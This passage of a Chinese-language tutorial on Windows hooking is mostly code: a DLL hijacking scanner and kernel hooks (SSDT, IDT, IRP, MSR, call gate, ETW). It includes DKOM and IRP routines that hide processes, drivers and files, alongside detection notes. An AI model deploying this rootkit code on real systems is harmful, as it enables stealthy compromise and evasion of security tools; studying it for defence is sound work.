FILE* defFile = _wfopen(outputDefPath, L"w");
if (!defFile) { FreeLibrary(hMod); return FALSE; }
// 获取原始 DLL 名(不含扩展名)用于转发
char origName[64];
WideCharToMultiByte(CP_ACP, 0, wcsrchr(originalDllPath, L'\\') + 1, -1, origName, 64, NULL, NULL);
char* dot = strrchr(origName, '.'); if (dot) *dot = '\0';
fprintf(defFile, "EXPORTS\n");
for (DWORD i = 0; i < pExport->NumberOfNames; i++) {
char* funcName = (char*)((BYTE*)hMod + nameRvas[i]);
// 转发格式: FuncName = OriginalDll_orig.FuncName
fprintf(defFile, " %s = %s_orig.%s\n", funcName, origName, funcName);
}
fclose(defFile);
FreeLibrary(hMod);
return TRUE;
}
// 运行时检测:发现当前进程中被劫持的 DLL
void DetectHijackedModules() {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());
if (hSnap == INVALID_HANDLE_VALUE) return;
WCHAR sysDir[MAX_PATH];
GetSystemDirectoryW(sysDir, MAX_PATH);
MODULEENTRY32W me = { sizeof(me) };
if (Module32FirstW(hSnap, &me)) {
do {
// 如果模块不在系统目录中
if (wcsstr(me.szExePath, sysDir) == NULL) {
// 但系统目录中存在同名文件 -> 可能是劫持
WCHAR expectedPath[MAX_PATH];
swprintf_s(expectedPath, MAX_PATH, L"%s\\%s", sysDir, me.szModule);
if (GetFileAttributesW(expectedPath) != INVALID_FILE_ATTRIBUTES) {
wprintf(L"[HIJACK DETECTED] %s\n Loaded: %s\n Expected: %s\n",
me.szModule, me.szExePath, expectedPath);
}
}
} while (Module32NextW(hSnap, &me));
}
CloseHandle(hSnap);
}
int wmain(int argc, WCHAR* argv[]) {
if (argc < 2) {
wprintf(L"DLL Search Order Hijacking Tool\n\n");
wprintf(L"Usage:\n");
wprintf(L" hijack scan <target.exe> - Find hijack opportunities\n");
wprintf(L" hijack def <dll> <out.def> - Generate forwarder .def\n");
wprintf(L" hijack detect - Check current process\n");
return 1;
}
if (_wcsicmp(argv[1], L"scan") == 0 && argc >= 3) {
HIJACK_OPPORTUNITY results[512];
DWORD count = AnalyzeImports(argv[2], results, 512);
wprintf(L"\nFound %lu hijackable DLLs for %s:\n\n", count, argv[2]);
for (DWORD i = 0; i < count; i++)
wprintf(L" %-30s -> %s\n", results[i].dllName, results[i].plantPath);
} else if (_wcsicmp(argv[1], L"def") == 0 && argc >= 4) {
if (GenerateForwarderDef(argv[2], argv[3]))
wprintf(L"Generated: %s\nCompile: cl /LD proxy.c /DEF:%s\n", argv[3], argv[3]);
else
wprintf(L"Failed to generate .def\n");
} else if (_wcsicmp(argv[1], L"detect") == 0) {
wprintf(L"Scanning loaded modules...\n");
DetectHijackedModules();
}
return 0;
}
检测方法
- 对比模块加载路径与预期系统路径
- 扫描应用目录中与系统 DLL 同名的可疑文件
- DLL 数字签名验证(合法系统 DLL 都有微软签名)
- 启用
SafeDllSearchMode(默认开启)降低 CWD 搜索优先级
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs 保护核心 DLL
- 使用 Process Monitor 观察 DLL 加载失败路径(NAME NOT FOUND)
第二层:内核态 Hook(Ring 0)— 传统手段
进入内核态后,Hook 的威力和隐蔽性都大幅提升,但同时要面对 PatchGuard 这个“巡逻兵”。以下这些传统内核 Hook 技术在 Windows XP/7 时代是主流,但在 Win10+ 环境下大部分已经被 PatchGuard 监控。在 云栈社区 的安全板块中,经常能看到关于这些经典技术与现代防护机制对抗的深度讨论。
2.1 SSDT Hook(系统服务描述符表 Hook)
原理
SSDT(System Service Descriptor Table)是内核中的一张函数指针表,syscall 进入内核后通过 SSN 索引到这张表找到对应的内核函数。修改表项即可拦截所有系统调用。
完整实现
#include <ntddk.h>
typedef struct _KSERVICE_TABLE_DESCRIPTOR {
PLONG Base; // 函数偏移表基地址(Win64 存的是相对偏移)
PULONG Count; // 调用计数表
ULONG Limit; // 最大服务号
PUCHAR Number; // 参数字节数表
} KSERVICE_TABLE_DESCRIPTOR, *PKSERVICE_TABLE_DESCRIPTOR;
// KeServiceDescriptorTable 是导出符号(仅 x86),x64 需要手动定位
extern PKSERVICE_TABLE_DESCRIPTOR KeServiceDescriptorTable;
// 定位 SSDT(x64 方式:通过 KiSystemServiceRepeat 签名扫描)
PVOID FindSsdtBase() {
// KiSystemCall64 中的特征码搜索
// 4C 8D 15 XX XX XX XX lea r10, [KeServiceDescriptorTable]
ULONG64 kiSystemCall = __readmsr(0xC0000082); // IA32_LSTAR
// 从 KiSystemCall64 开始扫描特征码
for (ULONG i = 0; i < 0x500; i++) {
// 寻找 lea r10, [rip + offset] (4C 8D 15)
if (*(USHORT*)((BYTE*)kiSystemCall + i) == 0x8D4C &&
*((BYTE*)kiSystemCall + i + 2) == 0x15) {
INT32 offset = *(INT32*)((BYTE*)kiSystemCall + i + 3);
PVOID ssdt = (PVOID)((BYTE*)kiSystemCall + i + 7 + offset);
return ssdt;
}
}
return NULL;
}
// 读取 SSDT 中某个 SSN 对应的内核函数地址
PVOID GetSsdtFunctionAddress(ULONG ssn) {
PKSERVICE_TABLE_DESCRIPTOR ssdt = (PKSERVICE_TABLE_DESCRIPTOR)FindSsdtBase();
if (!ssdt || ssn >= ssdt->Limit) return NULL;
LONG offset = ssdt->Base[ssn] >> 4;
return (PVOID)((BYTE*)ssdt->Base + offset);
}
// 修改 SSDT 条目(需要关闭写保护)
NTSTATUS HookSsdtEntry(ULONG ssn, PVOID hookFunction, PVOID* originalFunction) {
PKSERVICE_TABLE_DESCRIPTOR ssdt = (PKSERVICE_TABLE_DESCRIPTOR)FindSsdtBase();
if (!ssdt || ssn >= ssdt->Limit) return STATUS_INVALID_PARAMETER;
// 保存原始函数地址
LONG origOffset = ssdt->Base[ssn] >> 4;
*originalFunction = (PVOID)((BYTE*)ssdt->Base + origOffset);
// 计算新的偏移
LONG newOffset = (LONG)((BYTE*)hookFunction - (BYTE*)ssdt->Base);
LONG newEntry = (newOffset << 4) | (ssdt->Base[ssn] & 0xF); // 保留低4位
// 关闭 CR0.WP 位(禁用写保护)
ULONG64 cr0 = __readcr0();
__writecr0(cr0 & ~0x10000);
// 关中断防止竞态
_disable();
// 写入新偏移
InterlockedExchange(&ssdt->Base[ssn], newEntry);
_enable();
__writecr0(cr0);
return STATUS_SUCCESS;
}
// Hook 函数示例:拦截 NtOpenProcess
typedef NTSTATUS(*fnNtOpenProcess)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID);
fnNtOpenProcess OriginalNtOpenProcess = NULL;
NTSTATUS HookedNtOpenProcess(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId) {
// 保护特定进程
if (ClientId && ClientId->UniqueProcess == (HANDLE)g_protectedPid) {
return STATUS_ACCESS_DENIED;
}
return OriginalNtOpenProcess(ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);
}
检测难度:★★☆☆☆(PatchGuard 必杀)
PatchGuard 直接监控 SSDT,定期对比校验和。一旦发现修改 → 延迟蓝屏(故意随机延迟使调试困难)。
历史地位
- Windows XP/7 时代的内核 Hook 之王
- 几乎所有安全软件(杀毒/防火墙/HIPS)都用过
- Win8+ 之后被 PatchGuard 彻底封杀出历史舞台
2.2 IDT Hook(中断描述符表 Hook)
原理
IDT(Interrupt Descriptor Table)存储着中断/异常处理器的入口。修改 IDT 条目可以拦截特定中断,比如 int 0x2E(旧版系统调用入口)、int 0x03(断点)、int 0x0E(缺页异常)。
完整实现
#include <ntddk.h>
#pragma pack(push, 1)
typedef struct _IDTENTRY64 {
USHORT OffsetLow; // 目标函数地址低16位
USHORT Selector; // 代码段选择器
USHORT Ist : 3; // IST 索引
USHORT Reserved0 : 5;
USHORT Type : 4; // 门类型 (0xE = 中断门)
USHORT Reserved1 : 1;
USHORT Dpl : 2; // 描述符特权级
USHORT Present : 1; // 存在位
USHORT OffsetMid; // 中16位
ULONG OffsetHigh; // 高32位
ULONG Reserved2;
} IDTENTRY64, *PIDTENTRY64;
typedef struct _IDTR {
USHORT Limit;
ULONG64 Base;
} IDTR;
#pragma pack(pop)
// 获取当前 CPU 的 IDT 基地址
PIDTENTRY64 GetIdtBase() {
IDTR idtr;
__sidt(&idtr);
return (PIDTENTRY64)idtr.Base;
}
// 从 IDT 条目中提取完整的处理器地址
ULONG64 GetIdtHandlerAddress(PIDTENTRY64 entry) {
return (ULONG64)entry->OffsetLow |
((ULONG64)entry->OffsetMid << 16) |
((ULONG64)entry->OffsetHigh << 32);
}
// 设置 IDT 条目的处理器地址
void SetIdtHandlerAddress(PIDTENTRY64 entry, ULONG64 newHandler) {
entry->OffsetLow = (USHORT)(newHandler & 0xFFFF);
entry->OffsetMid = (USHORT)((newHandler >> 16) & 0xFFFF);
entry->OffsetHigh = (ULONG)((newHandler >> 32) & 0xFFFFFFFF);
}
// Hook 特定中断向量
ULONG64 g_originalInt1Handler = 0;
void HookIdtVector(UCHAR vector, PVOID newHandler) {
PIDTENTRY64 idt = GetIdtBase();
PIDTENTRY64 entry = &idt[vector];
// 保存原始处理器
g_originalInt1Handler = GetIdtHandlerAddress(entry);
// 关中断
_disable();
// 修改处理器地址
SetIdtHandlerAddress(entry, (ULONG64)newHandler);
_enable();
}
// 注意:x64 上 IDT Hook 需要对每个 CPU 核心都做修改
void HookIdtOnAllCpus(UCHAR vector, PVOID handler) {
ULONG numCpus = KeQueryActiveProcessorCountEx(ALL_PROCESSOR_GROUPS);
for (ULONG i = 0; i < numCpus; i++) {
PROCESSOR_NUMBER procNum;
KeGetProcessorNumberFromIndex(i, &procNum);
GROUP_AFFINITY affinity = {0};
affinity.Group = procNum.Group;
affinity.Mask = 1ULL << procNum.Number;
GROUP_AFFINITY oldAffinity;
KeSetSystemGroupAffinityThread(&affinity, &oldAffinity);
HookIdtVector(vector, handler);
KeRevertToUserGroupAffinityThread(&oldAffinity);
}
}
检测难度:★★☆☆☆(PatchGuard 必杀)
PatchGuard 同样监控 IDT。而且 IDT 是每个 CPU 核心独立的,要 Hook 必须修改所有核心的 IDT,增加了暴露面。
2.3 IRP Hook(I/O 请求包 Hook)
原理
Windows 驱动使用 IRP(I/O Request Packet)进行通信。每个驱动对象(DRIVER_OBJECT)有一个 MajorFunction 数组,存放了 28 种 IRP 处理函数的指针。替换这些指针即可拦截所有发往该驱动的 I/O 操作。
完整实现
#include <ntddk.h>
typedef struct _IRP_HOOK {
PDRIVER_OBJECT targetDriver;
ULONG majorFunction;
PDRIVER_DISPATCH originalDispatch;
PDRIVER_DISPATCH hookDispatch;
} IRP_HOOK;
#define MAX_IRP_HOOKS 16
IRP_HOOK g_irpHooks[MAX_IRP_HOOKS] = {0};
int g_irpHookCount = 0;
// 获取驱动对象
NTSTATUS GetDriverObjectByName(PUNICODE_STRING driverName, PDRIVER_OBJECT* ppDriver) {
return ObReferenceObjectByName(
driverName,
OBJ_CASE_INSENSITIVE,
NULL,
0,
*IoDriverObjectType,
KernelMode,
NULL,
(PVOID*)ppDriver
);
}
// Hook 某个驱动的特定 IRP 处理函数
NTSTATUS InstallIrpHook(PUNICODE_STRING driverName, ULONG majorFunc, PDRIVER_DISPATCH hookFunc) {
PDRIVER_OBJECT pDriver = NULL;
NTSTATUS status = GetDriverObjectByName(driverName, &pDriver);
if (!NT_SUCCESS(status)) return status;
if (g_irpHookCount >= MAX_IRP_HOOKS) {
ObDereferenceObject(pDriver);
return STATUS_INSUFFICIENT_RESOURCES;
}
IRP_HOOK* hook = &g_irpHooks[g_irpHookCount];
hook->targetDriver = pDriver;
hook->majorFunction = majorFunc;
hook->originalDispatch = pDriver->MajorFunction[majorFunc];
hook->hookDispatch = hookFunc;
// 原子替换函数指针
InterlockedExchangePointer(
(PVOID*)&pDriver->MajorFunction[majorFunc],
hookFunc
);
g_irpHookCount++;
return STATUS_SUCCESS;
}
// 卸载 IRP Hook
void RemoveIrpHook(int index) {
if (index >= g_irpHookCount) return;
IRP_HOOK* hook = &g_irpHooks[index];
InterlockedExchangePointer(
(PVOID*)&hook->targetDriver->MajorFunction[hook->majorFunction],
hook->originalDispatch
);
ObDereferenceObject(hook->targetDriver);
}
// 示例:Hook NTFS 驱动的文件创建操作(隐藏文件)
NTSTATUS HookedNtfsCreate(PDEVICE_OBJECT DevObj, PIRP Irp) {
PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);
PFILE_OBJECT fileObj = irpSp->FileObject;
if (fileObj && fileObj->FileName.Buffer) {
// 检查是否是要隐藏的文件
if (wcsstr(fileObj->FileName.Buffer, L"secret.dat")) {
Irp->IoStatus.Status = STATUS_OBJECT_NAME_NOT_FOUND;
Irp->IoStatus.Information = 0;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_OBJECT_NAME_NOT_FOUND;
}
}
// 放行其他请求
return g_irpHooks[0].originalDispatch(DevObj, Irp);
}
// 安装示例
void InstallNtfsHook() {
UNICODE_STRING ntfsDriver = RTL_CONSTANT_STRING(L"\\FileSystem\\Ntfs");
InstallIrpHook(&ntfsDriver, IRP_MJ_CREATE, HookedNtfsCreate);
}
检测难度:★★★☆☆
- PatchGuard 不直接检测驱动的 MajorFunction 表
- 但安全软件可以对比驱动对象的 MajorFunction 指针是否指向该驱动的地址范围
- Minifilter 框架是官方替代方案,更难被检测
2.4 DKOM(直接内核对象操作)
原理
DKOM 不是传统意义上的“Hook”,而是通过直接修改内核数据结构来隐藏进程、驱动、端口等。把目标进程从 ActiveProcessLinks 双向链表中摘除,进程管理器就看不见了。
完整实现
#include <ntddk.h>
// 动态获取 ActiveProcessLinks 偏移
ULONG GetActiveProcessLinksOffset() {
// 方法:找到 System 进程(PID=4),通过 PsGetProcessId 验证
PEPROCESS systemProcess = PsInitialSystemProcess;
// 遍历 EPROCESS 寻找 PID=4 的偏移
for (ULONG offset = 0; offset < 0x800; offset += sizeof(PVOID)) {
if (*(HANDLE*)((BYTE*)systemProcess + offset) == (HANDLE)4) {
// 找到 UniqueProcessId 偏移
// ActiveProcessLinks 通常紧随其后(+8)
PLIST_ENTRY pList = (PLIST_ENTRY)((BYTE*)systemProcess + offset + 8);
// 验证:链表应该指向其他 EPROCESS
if (MmIsAddressValid(pList->Flink) && MmIsAddressValid(pList->Blink)) {
return offset + 8;
}
}
}
return 0;
}
// 隐藏进程
NTSTATUS HideProcess(ULONG targetPid) {
PEPROCESS process;
NTSTATUS status = PsLookupProcessByProcessId((HANDLE)(ULONG_PTR)targetPid, &process);
if (!NT_SUCCESS(status)) return status;
ULONG offset = GetActiveProcessLinksOffset();
if (offset == 0) {
ObDereferenceObject(process);
return STATUS_UNSUCCESSFUL;
}
PLIST_ENTRY pList = (PLIST_ENTRY)((BYTE*)process + offset);
// 从双向链表中摘除(需要锁保护)
KIRQL oldIrql;
KeRaiseIrql(DISPATCH_LEVEL, &oldIrql);
PLIST_ENTRY prev = pList->Blink;
PLIST_ENTRY next = pList->Flink;
prev->Flink = next;
next->Blink = prev;
// 指向自己,防止后续遍历崩溃
pList->Flink = pList;
pList->Blink = pList;
KeLowerIrql(oldIrql);
ObDereferenceObject(process);
return STATUS_SUCCESS;
}
// 隐藏驱动(从 PsLoadedModuleList 摘除)
NTSTATUS HideDriver(PDRIVER_OBJECT driverObject) {
typedef struct _KLDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
PVOID ExceptionTable;
ULONG ExceptionTableSize;
PVOID GpValue;
PVOID NonPagedDebugInfo;
PVOID ImageBase;
PVOID EntryPoint;
ULONG ImageSize;
UNICODE_STRING FullImageName;
UNICODE_STRING BaseImageName;
// ...
} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;
PKLDR_DATA_TABLE_ENTRY entry = (PKLDR_DATA_TABLE_ENTRY)driverObject->DriverSection;
if (!entry) return STATUS_UNSUCCESSFUL;
KIRQL oldIrql;
KeRaiseIrql(DISPATCH_LEVEL, &oldIrql);
// 从链表摘除
RemoveEntryList(&entry->InLoadOrderLinks);
entry->InLoadOrderLinks.Flink = &entry->InLoadOrderLinks;
entry->InLoadOrderLinks.Blink = &entry->InLoadOrderLinks;
KeLowerIrql(oldIrql);
return STATUS_SUCCESS;
}
// 隐藏网络端口(修改 NSI 表或 Hook tcpip.sys)
// 这个比较复杂,通常通过 Hook tcpip.sys 的 nsiEnumerateObjectsAllParameters 实现
检测难度:★★★☆☆
- 进程虽然从链表摘除,但通过 CID 表(PspCidTable)、线程调度队列仍可找到
- PatchGuard 会检查 PsActiveProcessHead 链表完整性
- 内存取证工具可以通过物理内存扫描 EPROCESS 的 Pool Tag 发现隐藏进程
2.5 MSR Hook(IA32_LSTAR 劫持)
原理
x64 Windows 执行 syscall 指令时,CPU 从 IA32_LSTAR(MSR 0xC0000082)读取内核入口地址(KiSystemCall64)。修改这个 MSR 值,所有系统调用都会先经过你的函数。
完整实现
#include <ntddk.h>
#include <intrin.h>
#define MSR_LSTAR 0xC0000082
ULONG64 g_originalKiSystemCall64 = 0;
ULONG g_targetSsn = 0;
PVOID g_hookHandler = NULL;
// 在所有 CPU 上安装 MSR Hook
typedef struct _MSR_HOOK_DPC_CONTEXT {
ULONG64 newLstar;
} MSR_HOOK_DPC_CONTEXT;
VOID MsrHookDpcRoutine(PKDPC Dpc, PVOID Context, PVOID Arg1, PVOID Arg2) {
MSR_HOOK_DPC_CONTEXT* ctx = (MSR_HOOK_DPC_CONTEXT*)Context;
__writemsr(MSR_LSTAR, ctx->newLstar);
KeSignalCallDpcSynchronize(Arg2);
KeSignalCallDpcDone(Arg1);
}
NTSTATUS InstallMsrHook() {
g_originalKiSystemCall64 = __readmsr(MSR_LSTAR);
MSR_HOOK_DPC_CONTEXT ctx;
ctx.newLstar = (ULONG64)HookKiSystemCall64;
// 在所有 CPU 上同时修改 MSR
KeGenericCallDpc(MsrHookDpcRoutine, &ctx);
return STATUS_SUCCESS;
}
NTSTATUS RemoveMsrHook() {
MSR_HOOK_DPC_CONTEXT ctx;
ctx.newLstar = g_originalKiSystemCall64;
KeGenericCallDpc(MsrHookDpcRoutine, &ctx);
return STATUS_SUCCESS;
}
检测难度:★★☆☆☆(PatchGuard 监控)
- 威力无比——一个 Hook 拦截所有系统调用
- 但 PatchGuard 直接检查
IA32_LSTAR 值
rdmsr 指令在 Ring 0 可以直接读取,非常容易检测
2.6 GDT/Call Gate Hook
原理
通过在 GDT(全局描述符表)中创建 Call Gate,用户态程序可以通过 call far 指令直接跳转到内核态指定地址,绕过 syscall 路径。也可以修改现有 GDT 条目来劫持段切换。
完整实现
#include <ntddk.h>
#pragma pack(push, 1)
typedef struct _CALL_GATE_DESCRIPTOR {
USHORT OffsetLow;
USHORT Selector;
BYTE Ist;
BYTE Attributes; // P=1, DPL=3, Type=0xC (64-bit Call Gate)
USHORT OffsetMid;
ULONG OffsetHigh;
ULONG Reserved;
} CALL_GATE_DESCRIPTOR;
typedef struct _GDTR {
USHORT Limit;
ULONG64 Base;
} GDTR;
#pragma pack(pop)
// 定义 Ring 0 代码段选择器
#define KGDT64_R0_CODE 0x10
// 获取 GDT 基址
PVOID GetGdtBase() {
GDTR gdtr;
_sgdt(&gdtr);
return (PVOID)gdtr.Base;
}
// 在 GDT 中找到空闲 slot
int FindFreeGdtSlot() {
GDTR gdtr;
_sgdt(&gdtr);
ULONG64* gdt = (ULONG64*)gdtr.Base;
int maxSlots = (gdtr.Limit + 1) / 16; // Call Gate 占 16 字节
// 从 slot 10 开始找(前面的被系统使用)
for (int i = 10; i < maxSlots; i++) {
// 检查 Present 位
if ((gdt[i * 2] & (1ULL << 47)) == 0) {
return i;
}
}
return -1;
}
// 安装 Call Gate
USHORT InstallCallGate(PVOID kernelHandler) {
int slot = FindFreeGdtSlot();
if (slot < 0) return 0;
CALL_GATE_DESCRIPTOR gate = {0};
gate.OffsetLow = (USHORT)((ULONG64)kernelHandler & 0xFFFF);
gate.Selector = KGDT64_R0_CODE;
gate.Ist = 0;
gate.Attributes = 0xEC; // Present=1, DPL=3, Type=0xC (64-bit Call Gate)
gate.OffsetMid = (USHORT)(((ULONG64)kernelHandler >> 16) & 0xFFFF);
gate.OffsetHigh = (ULONG)(((ULONG64)kernelHandler >> 32) & 0xFFFFFFFF);
gate.Reserved = 0;
// 写入 GDT
PVOID gdtBase = GetGdtBase();
ULONG64 cr0 = __readcr0();
__writecr0(cr0 & ~0x10000); // 关闭写保护
memcpy((BYTE*)gdtBase + slot * 16, &gate, sizeof(gate));
__writecr0(cr0);
// 返回选择器(slot * 8 + RPL=3)
return (USHORT)(slot * 8 + 3);
}
// 用户态调用方式(需要内联汇编或 shellcode)
// call far [selector:0]
// 其中 selector 是 InstallCallGate 返回的值
检测难度:★★☆☆☆(PatchGuard 监控)
PatchGuard 监控 GDT。而且现代 Windows 几乎不使用 Call Gate,出现一个就极其可疑。
第三层:内核态 Hook(Ring 0)— 高级手段
这一层的技术大多利用了 Windows 合法的内核回调机制或巧妙的绕过策略,不直接修改被 PatchGuard 监控的关键结构,因此在现代 Windows 上仍有生存空间。
3.1 Kernel Callback / Notify Routine(内核回调机制)
原理
Windows 内核提供了大量官方回调注册 API,用于监控系统事件。这不算真正的“Hook”,但效果类似——你能在关键事件发生时执行自定义代码。
完整实现
#include <ntddk.h>
#include <fltKernel.h>
// ========== 进程/线程/镜像回调 ==========
void ProcessNotifyCallback(PEPROCESS Process, HANDLE ProcessId,
PPS_CREATE_NOTIFY_INFO CreateInfo) {
if (CreateInfo) {
// 进程创建
DbgPrint("[Hook] Process created: PID=%lu Image=%wZ\n",
(ULONG)(ULONG_PTR)ProcessId, CreateInfo->ImageFileName);
// 可以阻止进程创建
if (CreateInfo->ImageFileName &&
wcsstr(CreateInfo->ImageFileName->Buffer, L"malware.exe")) {
CreateInfo->CreationStatus = STATUS_ACCESS_DENIED;
}
} else {
// 进程退出
DbgPrint("[Hook] Process exited: PID=%lu\n", (ULONG)(ULONG_PTR)ProcessId);
}
}
void ThreadNotifyCallback(HANDLE ProcessId, HANDLE ThreadId, BOOLEAN Create) {
if (Create) {
// 可以在这里记录线程创建,或阻止远程线程注入
PEPROCESS targetProcess;
PsLookupProcessByProcessId(ProcessId, &targetProcess);
if (targetProcess == g_protectedProcess && PsGetCurrentProcess() != targetProcess) {
// 外部进程在我们保护的进程中创建线程 — 可能是注入
DbgPrint("[Hook] Remote thread injection detected!\n");
}
if (targetProcess) ObDereferenceObject(targetProcess);
}
}
void ImageLoadCallback(PUNICODE_STRING FullImageName, HANDLE ProcessId,
PIMAGE_INFO ImageInfo) {
// DLL 加载通知
if (FullImageName && ProcessId == g_targetPid) {
DbgPrint("[Hook] Image loaded in target: %wZ @ %p\n",
FullImageName, ImageInfo->ImageBase);
}
}
// ========== ObRegisterCallbacks(句柄操作拦截)==========
OB_PREOP_CALLBACK_STATUS ProcessHandlePreCallback(
PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION OpInfo) {
PEPROCESS targetProcess = (PEPROCESS)OpInfo->Object;
HANDLE targetPid = PsGetProcessId(targetProcess);
// 保护指定进程:剥离危险权限
if (targetPid == g_protectedPid && PsGetCurrentProcess() != targetProcess) {
if (OpInfo->Operation == OB_OPERATION_HANDLE_CREATE) {
// 剥离读写内存、终止进程的权限
OpInfo->Parameters->CreateHandleInformation.DesiredAccess &=
~(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
PROCESS_TERMINATE | PROCESS_SUSPEND_RESUME);
}
if (OpInfo->Operation == OB_OPERATION_HANDLE_DUPLICATE) {
OpInfo->Parameters->DuplicateHandleInformation.DesiredAccess &=
~(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_TERMINATE);
}
}
return OB_PREOP_SUCCESS;
}
NTSTATUS RegisterObCallbacks(PVOID* pHandle) {
OB_CALLBACK_REGISTRATION obReg = {0};
OB_OPERATION_REGISTRATION opReg[2] = {0};
opReg[0].ObjectType = PsProcessType;
opReg[0].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE;
opReg[0].PreOperation = ProcessHandlePreCallback;
opReg[1].ObjectType = PsThreadType;
opReg[1].Operations = OB_OPERATION_HANDLE_CREATE;
opReg[1].PreOperation = ProcessHandlePreCallback;
obReg.Version = OB_FLT_REGISTRATION_VERSION;
obReg.OperationRegistrationCount = 2;
obReg.OperationRegistration = opReg;
// Altitude 决定回调优先级(需要唯一值)
RtlInitUnicodeString(&obReg.Altitude, L"321000");
return ObRegisterCallbacks(&obReg, pHandle);
}
// ========== Minifilter(文件系统回调)==========
FLT_PREOP_CALLBACK_STATUS PreCreateCallback(
PFLT_CALLBACK_DATA Data, PCFLT_RELATED_OBJECTS FltObjects,
PVOID* CompletionContext) {
PFLT_FILE_NAME_INFORMATION nameInfo;
if (NT_SUCCESS(FltGetFileNameInformation(Data,
FLT_FILE_NAME_NORMALIZED | FLT_FILE_NAME_QUERY_DEFAULT, &nameInfo))) {
FltParseFileNameInformation(nameInfo);
// 隐藏特定文件
if (wcsstr(nameInfo->Name.Buffer, L"hidden_file.dat")) {
FltReleaseFileNameInformation(nameInfo);
Data->IoStatus.Status = STATUS_OBJECT_NAME_NOT_FOUND;
return FLT_PREOP_COMPLETE;
}
FltReleaseFileNameInformation(nameInfo);
}
return FLT_PREOP_SUCCESS_NO_CALLBACK;
}
// ========== 注册表回调 ==========
NTSTATUS RegistryCallback(PVOID CallbackContext, PVOID Argument1, PVOID Argument2) {
REG_NOTIFY_CLASS notifyClass = (REG_NOTIFY_CLASS)(ULONG_PTR)Argument1;
switch (notifyClass) {
case RegNtPreSetValueKey: {
PREG_SET_VALUE_KEY_INFORMATION info = (PREG_SET_VALUE_KEY_INFORMATION)Argument2;
// 阻止修改受保护的注册表值
if (info->ValueName && wcsstr(info->ValueName->Buffer, L"ProtectedValue")) {
return STATUS_ACCESS_DENIED;
}
break;
}
case RegNtPreDeleteKey: {
// 阻止删除受保护的注册表键
break;
}
}
return STATUS_SUCCESS;
}
// ========== 安装所有回调 ==========
NTSTATUS InstallAllCallbacks() {
NTSTATUS status;
status = PsSetCreateProcessNotifyRoutineEx(ProcessNotifyCallback, FALSE);
if (!NT_SUCCESS(status)) return status;
status = PsSetCreateThreadNotifyRoutine(ThreadNotifyCallback);
if (!NT_SUCCESS(status)) return status;
status = PsSetLoadImageNotifyRoutine(ImageLoadCallback);
if (!NT_SUCCESS(status)) return status;
status = RegisterObCallbacks(&g_obHandle);
if (!NT_SUCCESS(status)) return status;
LARGE_INTEGER cookie;
status = CmRegisterCallbackEx(RegistryCallback, &g_altitude, g_driverObject, NULL, &cookie, NULL);
return status;
}
检测难度:★☆☆☆☆(但合法性最高)
- 使用完全合法的 API,PatchGuard 不会干扰
- 但所有回调数组都可被枚举(
PspCreateProcessNotifyRoutine 等)
- 发现未知模块注册的回调 = 可疑
- 这是安全软件最常用的方式
3.2 Infinity Hook(ETW-based Syscall Hook)
原理
利用 Windows 内核的 ETW(Event Tracing for Windows)日志机制。内核在执行系统调用时可能会调用 syscall ETW provider 发送一条日志回调。通过替换该回调的函数指针,可以在每次 syscall 时获得控制权,而不需要修改 SSDT 或 MSR。
完整实现(含 ETW 函数指针定位)
#include <ntddk.h>
// Infinity Hook 的核心:定位 ETW syscall logger 的函数指针
// 路径:KiSystemCall64 → PerfInfoLogSysCallEntry → [函数指针]
// 这个指针存储在 HalPrivateDispatchTable 或 EtwpDebuggerData 中(版本相关)
typedef void(*fnEtwpCallback)(ULONG SystemCallNumber, PVOID StackPointer);
fnEtwpCallback g_originalEtwCallback = NULL;
// 特征码搜索:在 KiSystemCall64 中寻找 call [PerfInfoLogSysCallEntry]
// PerfInfoLogSysCallEntry 内部会 call 一个存在全局变量中的函数指针
PVOID* FindEtwSyscallLogPointer() {
// 方法 1:从 KiSystemCall64 搜索 PerfInfoLogSysCallEntry 调用
ULONG64 kiSystemCall = __readmsr(0xC0000082);
BYTE* p = (BYTE*)kiSystemCall;
// 搜索 call PerfInfoLogSysCallEntry 的特征
// Windows 10 1903+: E8 XX XX XX XX (call rel32)
for (ULONG i = 0; i < 0x600; i++) {
if (p[i] == 0xE8) {
INT32 offset = *(INT32*)(p + i + 1);
BYTE* target = p + i + 5 + offset;
// 验证目标是否为 PerfInfoLogSysCallEntry
// 通过进一步搜索其内部的间接调用来确认
for (ULONG j = 0; j < 0x50; j++) {
// 寻找 call qword ptr [rip + offset] (FF 15 XX XX XX XX)
if (target[j] == 0xFF && target[j+1] == 0x15) {
INT32 ripOffset = *(INT32*)(target + j + 2);
PVOID* pFuncPtr = (PVOID*)(target + j + 6 + ripOffset);
// 验证:该指针应该指向内核空间
if (MmIsAddressValid(pFuncPtr) && MmIsAddressValid(*pFuncPtr)) {
return pFuncPtr;
}
}
// 也可能是 mov rax, [地址]; call rax 的模式
// 48 8B 05 XX XX XX XX (mov rax, [rip+offset])
if (target[j] == 0x48 && target[j+1] == 0x8B && target[j+2] == 0x05) {
INT32 ripOffset = *(INT32*)(target + j + 3);
PVOID* pFuncPtr = (PVOID*)(target + j + 7 + ripOffset);
if (MmIsAddressValid(pFuncPtr) && MmIsAddressValid(*pFuncPtr)) {
// 检查后面几条指令是否有 call rax (FF D0)
for (ULONG k = j + 7; k < j + 20; k++) {
if (target[k] == 0xFF && target[k+1] == 0xD0) {
return pFuncPtr;
}
}
}
}
}
}
}
// 方法 2:通过 HalPrivateDispatchTable (旧版 Windows)
// HalPrivateDispatchTable 中的 HalPerfInfoLogSysCallEntry 字段
// 偏移因版本而异
return NULL;
}
// Hook 回调函数
void InfinityHookCallback(ULONG SystemCallNumber, PVOID StackPointer) {
// 获取当前线程的系统调用信息
